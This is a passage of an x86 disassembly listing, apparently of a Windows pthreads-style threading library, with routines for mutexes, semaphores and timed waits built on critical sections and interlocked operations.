___:00430239j push 0 call edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3D8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 4FE82046h, 9002310Ch, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0FAE89050h dd 500233FFh, 0E850D3FFh, 231FD34h, 5BC08590h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 2320304h dd 28468990h, 0E3D8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3E8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3E8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 2740BA2h test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E8E0 call near ptr 7C901005h nop mov esi, dword_44573C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E8E0 mov dword_44573C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E8E0 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E8E0 nop call near ptr 7C901005h mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44573C push offset dword_50E8E0 mov [edx+8], eax mov dword_44573C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 27409DEh mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax nop call near ptr 27604A7h test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh call near ptr 77C2C21Bh nop mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 2760EBFh mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 276085Dh mov ecx, [esp+8+arg_0] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E940 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E940 mov esi, 10h call near ptr 7C9010EDh nop loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi nop call near ptr 275058Fh test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 32FAA4E8h dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E call near ptr 77C1F2BCh nop mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 27603AFh test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi call near ptr 275058Fh nop test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0F96BE890h dd 7E830232h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 nop call near ptr 27605F1h push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j call near ptr 27605F1h nop test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi nop call near ptr 27605F1h mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 27603AFh test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 27605F1h test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi nop call near ptr 7C9010EDh pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0C3E89056h, 0E8023E0Ch, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx nop call near ptr 27603AFh test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp 